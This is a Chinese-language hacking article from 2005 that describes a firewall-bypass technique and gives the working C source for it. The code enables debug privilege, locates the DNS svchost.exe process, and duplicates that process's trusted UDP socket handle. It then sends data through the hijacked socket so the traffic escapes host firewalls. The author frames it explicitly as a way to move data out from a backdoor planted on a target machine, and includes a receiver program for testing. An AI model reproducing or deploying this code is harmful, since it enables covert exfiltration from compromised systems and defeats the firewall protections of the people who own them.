一种穿透防火墙的数据传输技术

一种穿透防火墙的数据传输技术



Author : ZwelL
Email : [e-mail]
Date : 2005.4.12

使用该技术背景:
在目标主机安放后门,需要将数据传输出去,同时数据很重要,动作不能太大.其他情况"严重"不推荐使用该技术(后面我会讲到为什么).

  针对目前防火墙的一些情况,如果自己的进程开一个端口(甚至是新建套接字)肯定被拦.
相反,有一点我们也很清楚:被防火墙验证的进程在传送数据时永远不会被拦.所以,我的思路很简单:
将其他进程中允许数据传输的套接字句柄拿为已用.过程如下:

1. 找出目标进程
2. 找出SOCKET句柄
2. 用DuplicateHandle()函数将其SOCKET转换为能被自己使用.
3. 用转换后的SOCKET进行数据传输

  上面的过程写的很简单,但是实际实现起来还是存在一些问题(后面再做讨论).而且从上面的实现方法也
可以看出一些不爽的地方:在目标进程的SOCKET不能是TCP,因为TCP的句柄已经跟外面建立了连接,所以只能是UDP.
针对不同系统不同进程我们很难定位一个稳定的进程SOCKET.

  看到上面这些,你有点丧气了对不对,哈哈. 再想一想,其实我们有一条真正的通罗马的"黄金大道".

  我们知道只要一台计算机连上了网络,那么有一种数据传输是肯定不会被拦截的,那就是DNS.你能想像域名解析数据都被
拦了造成的结果吗? 嘿嘿, 既然这个是永远不会被拦的, 而且它又是UDP传输, 我们就拿他开刀...

下面是通过直接控制DNS进程(其实也就是svchost.exe,不过对应用户名是NETWORK SERVICE)进行数据传输的例子.
编程中出现了很多问题,比方说获取svchost对应用户名时没有权限(但是能够操作LOCAL SERVICE),在句柄值为0x2c时进行getsockname时会停止运行等等.
具体解决方法请细看注释部分...

/*++

  Made By ZwelL
  [e-mail]
  2005.4.12
--*/

#include <winsock2.h>
#include <stdio.h>
#include <wtsapi32.h>

#pragma comment(lib, "ws2_32")
#pragma comment(lib, "wtsapi32")

#define NT_SUCCESS(status) ((NTSTATUS)(status)>=0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef LONG NTSTATUS;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
  ULONG ProcessId;
  UCHAR ObjectTypeNumber;
  UCHAR Flags;
  USHORT Handle;
  PVOID Object;
  ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);

ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;

BOOL LocateNtdllEntry ( void )
{
  BOOL ret = FALSE;
  char NTDLL_DLL[] = "ntdll.dll";
  HMODULE ntdll_dll = NULL;


  if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
  {
  printf( "GetModuleHandle() failed");
  return( FALSE );
  }
  if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) )
  {
  goto LocateNtdllEntry_exit;
  }
  ret = TRUE;

LocateNtdllEntry_exit:

  if ( FALSE == ret )
  {
  printf( "GetProcAddress() failed");
  }
  ntdll_dll = NULL;
  return( ret );
}


/*++
This routine is used to get a process's username from it's SID
--*/
BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)
{
  // sanity checks and default value
  if (pUserSid == NULL)
  return false;
  strcpy(szUserName, "?");

  SID_NAME_USE snu;
  TCHAR szUser[_MAX_PATH];
  DWORD chUser = _MAX_PATH;
  PDWORD pcchUser = &chUser; 
  TCHAR szDomain[_MAX_PATH];
  DWORD chDomain = _MAX_PATH;
  PDWORD pcchDomain = &chDomain;

  // Retrieve user name and domain name based on user's SID.
  if (
  ::LookupAccountSid(
  NULL, 
  pUserSid, 
  szUser, 
  pcchUser, 
  szDomain, 
  pcchDomain, 
  &snu
  )
  )
  {
  wsprintf(szUserName, "%s", szUser);
  }
  else
  {
  return false;
  }

  return true;
}  


/*++

This routine is used to get the DNS process's Id
  
Here, I use WTSEnumerateProcesses to get process user Sid, 
and then get the process user name. Beacause as it's a "NETWORK SERVICE", 
we cann't use OpenProcessToken to catch the DNS process's token information,
even if we has the privilege in catching the SYSTEM's.

--*/
DWORD GetDNSProcessId()
{
  PWTS_PROCESS_INFO pProcessInfo = NULL;
  DWORD ProcessCount = 0;
  char szUserName[255];
  DWORD Id = -1;

  if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
  {
  // dump each process description
  for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)
  {

  if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 )
  {
  GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);
  if( strcmp(szUserName, "NETWORK SERVICE") == 0)
  {
  Id = pProcessInfo[CurrentProcess].ProcessId;
  break;
  }
  }
  }

  WTSFreeMemory(pProcessInfo);
  }

  return Id;
}


/*++
This doesn't work as we know, sign...
but you can use the routine for other useing...
--*/
/*
BOOL GetProcessUserFromId(char *szAccountName, DWORD PID)
{
  HANDLE hProcess = NULL, 
  hAccessToken = NULL;
  TCHAR InfoBuffer[1000], szDomainName[200];
  PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
  DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;
  SID_NAME_USE snu;

  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);
  if(hProcess == NULL)
  {
  printf("OpenProcess wrong");
  CloseHandle(hProcess);
  return false;
  }

  if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))
  {
  printf("OpenProcessToken wrong:%08x", GetLastError());
  return false;
  }

  GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,
  1000, &dwInfoBufferSize);

  LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,
  &dwAccountSize,szDomainName, &dwDomainSize, &snu);

  if(hProcess)
  CloseHandle(hProcess);
  if(hAccessToken)
  CloseHandle(hAccessToken);
  return true;
}*/


/*++
Now, it is the most important stuff... ^_^
--*/
SOCKET GetSocketFromId (DWORD PID)
{
  NTSTATUS status;
  PVOID buf = NULL;
  ULONG size = 1;
  ULONG NumOfHandle = 0;
  ULONG i;
  PSYSTEM_HANDLE_INFORMATION h_info = NULL;
  HANDLE sock = NULL;
  DWORD n;

  buf=malloc(0x1000);
  if(buf == NULL)
  {
  printf("malloc wrong/n");
  return NULL;
  }
  status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );
  if(STATUS_INFO_LENGTH_MISMATCH == status)
  {
  free(buf);
  buf=malloc(n);
  if(buf == NULL)
  {
  printf("malloc wrong/n");
  return NULL;
  }
  status = ZwQuerySystemInformation( 0x10, buf, n, NULL);
  }
  else
  {
  printf("ZwQuerySystemInformation wrong/n");
  return NULL;
  }

  NumOfHandle = *(ULONG*)buf;

  h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);

  for(i = 0; i<NumOfHandle ;i++)
  {
  try
  {
  if( ( h_info[i].ProcessId == PID ) && ( h_info[i].ObjectTypeNumber == 0x1c ) 
  && (h_info[i].Handle!=0x2c) // I don't know why if the Handle equal to 0x2c, in my test, it stops at getsockname()
  // So I jump over this situation... 
  // May be it's different in your system, 
  ) //wind2000 is 0x1a
  {
  //printf("Handle:0x%x Type:%08x/n",h_info[i].Handle, h_info[i].ObjectTypeNumber);
  if( 0 == DuplicateHandle(
  OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID), 
  (HANDLE)h_info[i].Handle, 
  GetCurrentProcess(), 
  &sock, 
  STANDARD_RIGHTS_REQUIRED, 
  true, 
  DUPLICATE_SAME_ACCESS)
  )
  {
  printf("DuplicateHandle wrong:%8x", GetLastError());
  continue;
  }

  //printf("DuplicateHandle ok/n");
  sockaddr_in name = {0};
  name.sin_family = AF_INET;
  int namelen = sizeof(sockaddr_in);
  getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );
  //printf("PORT=%5d/n", ntohs( name.sin_port )); 
  if(ntohs(name.sin_port)>0) // if port > 0, then we can use it
  break;
  }
  }
  catch(...)
  {
  continue;
  }
  }

  if ( buf != NULL )
  {
  free( buf );
  }
  return (SOCKET)sock;
}


/*++
This is not required...
--*/
BOOL EnablePrivilege (PCSTR name)
{
  HANDLE hToken;
  BOOL rv;

  TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
  LookupPrivilegeValue (
  0,
  name,
  &priv.Privileges[0].Luid
  );

  priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

  OpenProcessToken(
  GetCurrentProcess (),
  TOKEN_ADJUST_PRIVILEGES,
  &hToken
  );

  AdjustTokenPrivileges (
  hToken,
  FALSE,
  &priv,
  sizeof priv,
  0,
  0
  );

  rv = GetLastError () == ERROR_SUCCESS;

  CloseHandle (hToken);
  return rv;
}

void main() 
{
  WSADATA wsaData;
  char testbuf[255];
  SOCKET sock;
  sockaddr_in RecvAddr;

  int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
  if (iResult != NO_ERROR)
  printf("Error at WSAStartup()/n");

  if(!LocateNtdllEntry())
  return;

  if(!EnablePrivilege (SE_DEBUG_NAME))
  {
  printf("EnablePrivilege wrong/n");
  return;
  }

  sock = GetSocketFromId(GetDNSProcessId());
  if( sock==NULL)
  {
  printf("GetSocketFromId wrong/n");
  return;
  }

  //Change there value...
  RecvAddr.sin_family = AF_INET;
  RecvAddr.sin_port = htons(5555); 
  RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");

  if(SOCKET_ERROR == sendto(sock, 
  "test", 
  5, 
  0, 
  (SOCKADDR *) &RecvAddr, 
  sizeof(RecvAddr)))
  {
  printf("sendto wrong:%d/n", WSAGetLastError());
  }
  else
  {
  printf("send ok... Have fun, right? ^_^/n");
  }
   
  getchar();

  //WSACleanup();
  return;
}



很早以前我就有这个想法了,只是一直没有去实现.在上面的代码中,
因为要找出DNS进程句柄,而svchost.exe又有多个,所以以用户名来进行判断,本来是用OpenProcessToken,
但是怎么也不行,所以换个方法.用到了wtsapi32库函数.

再用下面的代码测试:


/*++
UdpReceiver
--*/
#include <stdio.h>
#include "winsock2.h"

#pragma comment(lib, "ws2_32")

void main() 
{
  WSADATA wsaData;
  SOCKET RecvSocket;
  sockaddr_in RecvAddr;
  int Port = 5555;
  char RecvBuf[1024];
  int BufLen = 1024;
  sockaddr_in SenderAddr;
  int SenderAddrSize = sizeof(SenderAddr);

  //-----------------------------------------------
  // Initialize Winsock
  WSAStartup(MAKEWORD(2,2), &wsaData);

  //-----------------------------------------------
  // Create a receiver socket to receive datagrams
  RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

  //-----------------------------------------------
  // Bind the socket to any address and the specified port.
  RecvAddr.sin_family = AF_INET;
  RecvAddr.sin_port = htons(Port);
  RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);

  bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));

  //-----------------------------------------------
  // Call the recvfrom function to receive datagrams
  // on the bound socket.
  printf("Receiving datagrams.../n");
  while(1)
  {
  recvfrom(RecvSocket, 
  RecvBuf, 
  BufLen, 
  0, 
  (SOCKADDR *)&SenderAddr, 
  &SenderAddrSize);
  printf("%s/n", RecvBuf);
  }

  //-----------------------------------------------
  // Close the socket when finished receiving datagrams
  printf("Finished receiving. Closing socket./n");
  closesocket(RecvSocket);

  //-----------------------------------------------
  // Clean up and exit.
  printf("Exiting./n");
  WSACleanup();
  return;
}


测试步骤:
1. 在一台机器上执行UdpReceiver,
2. 在安装防火墙的机器上执行第一个程序.

有什么问题,希望大家可以交流交流...^_^